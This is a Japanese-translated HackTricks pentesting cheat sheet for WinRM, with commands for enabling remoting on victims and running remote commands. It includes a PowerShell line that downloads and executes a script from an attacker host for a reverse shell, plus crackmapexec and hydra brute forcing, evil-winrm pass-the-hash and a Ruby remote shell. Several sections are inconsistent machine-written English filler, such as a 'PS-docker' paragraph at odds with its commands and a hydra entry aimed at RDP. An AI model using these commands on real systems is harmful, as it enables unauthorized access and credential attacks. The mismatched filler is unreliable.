hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

394 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5985,5986 - WinRMのペンテスト
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。**
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## WinRM
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)WinRMは、SOAPを使用してHTTPS経由でWindowsマシンをリモートで管理するためのMicrosoftプロトコルです。バックエンドではWMIを利用しているため、WMIのHTTPベースのAPIと考えることができます。
WinRMがマシンで有効になっている場合、PowerShellからリモートでマシンを管理するのは簡単です。実際には、リモートのPowerShellセッションにマシンにドロップインすることができますSSHを使用しているかのように
WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開いているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします。
* **5985/tcpHTTP**
* **5986/tcpHTTPS**
これらのポートのいずれかが開いている場合、WinRMが構成されており、リモートセッションを試すことができます。
## **WinRMセッションの開始**。
PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピューターをPowerShellリモートコマンドを受け取るように構成するためのコマンドレットです。被害者のエレベートされたPowerShellプロンプトにアクセスできる場合、これを有効にし、任意の「攻撃者」を信頼されたホストとして追加することができます。次の2つのコマンドを実行できます
```
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
これにより、trustedhosts設定にワイルドカードが追加されます。それが何を意味するかに注意してください。 _注: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。_
また、**wmicを使用して** WinRMを**リモートでアクティベート**することもできます。
```
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
### 設定のテスト
攻撃マシンが設定されたら、`Test-WSMan` 関数を使用して、ターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid に関する情報が返されるはずです。
![](<../.gitbook/assets/image (161) (1).png>)
![](<../.gitbook/assets/image (162).png>)
この場合、最初のものは設定されており、2番目のものは設定されていません。
### コマンドの実行
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。`ipconfig` をリモートで実行して出力を確認します。
```
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (163) (1).png>)
また、**Invoke-Command**を使用して、現在のPSコンソールでコマンドを実行することもできます。ローカルに_**enumeration**_という関数があると仮定し、それをリモートコンピュータで実行したい場合は、次のようにします
```ruby
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### スクリプトの実行
To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.
```powershell
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
```
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.0.100`, you would use the following command:
```powershell
Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\script.ps1 }
```
This command will execute the `script.ps1` script on the target machine.
Keep in mind that you need appropriate permissions and credentials to execute scripts on remote machines using WinRM.
```ruby
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### 逆シェルを取得する
To get a reverse shell, you can use the following steps:
1. Generate a payload: Use a tool like msfvenom to generate a payload that will establish a reverse shell connection to your machine. Specify the IP address and port number of your machine as the listener.
2. Set up a listener: Start a listener on your machine using a tool like netcat or Metasploit's multi/handler module. Make sure to use the same IP address and port number as specified in the payload.
3. Execute the payload: Transfer the payload to the target machine and execute it. This can be done through various methods such as social engineering, exploiting vulnerabilities, or using a file transfer protocol.
4. Establish the reverse shell: Once the payload is executed on the target machine, it will establish a connection back to your machine. You will then have a reverse shell, allowing you to interact with the target machine's command prompt.
By following these steps, you can successfully obtain a reverse shell and gain control over the target machine. Remember to use this technique responsibly and only on systems that you have proper authorization to test.
```ruby
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### PSセッションの取得
または、対話型のPowerShellセッションに直接入る場合は、`Enter-PSSession`関数を使用します。
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
**セッションは、「被害者」内の新しいプロセスwsmprovhostで実行されます**
### **WinRMを強制的にオープンする**
PSリモートおよびWinRMを使用したいが、ターゲットがそれに設定されていない場合、単一のコマンドを使用して「強制的に」オープンすることができます。これはお勧めしませんが、本当にWinRMまたはPSリモートを使用したい場合は、この方法で行ってください。たとえば、PSExecを使用して次のようにします
```
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
犠牲者のリモートPSセッションに入ることができます。
### セッションの保存と復元
これは、リモートコンピュータで言語が制約されている場合には**機能しません**。
```ruby
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
このセッションでは、_Invoke-Command_ を使用してPSスクリプトをロードすることができます。
```ruby
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### エラー
次のエラーが見つかった場合:
`enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合、HTTPS トランスポートを使用するか、または宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts のリストにあるコンピューターは認証されない場合があります。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
クライアントで次の試みを行います([ここ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)の情報から):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグ報奨金の場所です。**
**遅延なしで報酬を受け取る**\
HackenProofの報奨金は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇中のWeb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## LinuxでのWinRM接続
### ブルートフォース
注意してください、WinRMのブルートフォース攻撃はユーザーをブロックする可能性があります。
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### evil-winrmの使用
evil-winrmは、Windows Remote ManagementWinRMサービスを悪用するためのツールです。WinRMは、Windowsマシン間でのリモート管理を可能にするためのプロトコルです。evil-winrmを使用すると、WinRMサービスに対して認証情報を提供し、リモートマシンに対して権限を取得することができます。
以下は、evil-winrmを使用してWinRMサービスを悪用する手順です。
1. まず、ターゲットマシンのIPアドレスを特定します。
2. 次に、evil-winrmを実行するためのコマンドを入力します。
```
evil-winrm -i <target-ip> -u <username> -p <password>
```
- `<target-ip>`はターゲットマシンのIPアドレスです。
- `<username>`は有効なユーザー名です。
- `<password>`は有効なパスワードです。
3. コマンドを実行すると、evil-winrmがWinRMサービスに接続し、認証情報を提供します。
4. 認証が成功すると、evil-winrmのインタラクティブシェルが表示されます。これにより、リモートマシン上でコマンドを実行したり、ファイルを転送したりすることができます。
evil-winrmは、WinRMサービスの脆弱性を悪用するための強力なツールです。ただし、権限を取得する前に、適切な許可を取得していることを確認する必要があります。また、悪用行為は法的な制約に従って行う必要があります。
```ruby
gem install evil-winrm
```
次のリンクから、そのgithubの**ドキュメント**を読んでください: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
**IPv6アドレス**に接続するためにevil-winrmを使用するには、IPv6アドレスに**ドメイン名**を設定するために_**/etc/hosts**_内にエントリを作成し、そのドメインに接続します。
### evil-winrmを使用してハッシュをパスする
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (173).png>)
### PS-dockerマシンの使用
The PS-docker machine is a powerful tool for penetration testers to exploit vulnerabilities in Windows Remote Management (WinRM) services. This technique allows testers to gain unauthorized access to remote Windows systems and perform various malicious activities.
To use the PS-docker machine, follow these steps:
1. Set up a Docker environment on your local machine.
2. Pull the PS-docker image from the Docker Hub repository.
3. Run the PS-docker container with the necessary parameters.
4. Connect to the WinRM service of the target system using the PS-docker container.
5. Exploit vulnerabilities and perform penetration testing activities.
By leveraging the PS-docker machine, penetration testers can effectively assess the security of WinRM services and identify potential weaknesses that could be exploited by malicious actors. It is important to note that this technique should only be used for authorized and ethical purposes.
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### ルビースクリプトの使用
以下のコードはこちらから抽出されました: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## 参考文献
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks 自動コマンド
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグ報奨金の場所です。**
**遅延なしで報酬を受け取る**\
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>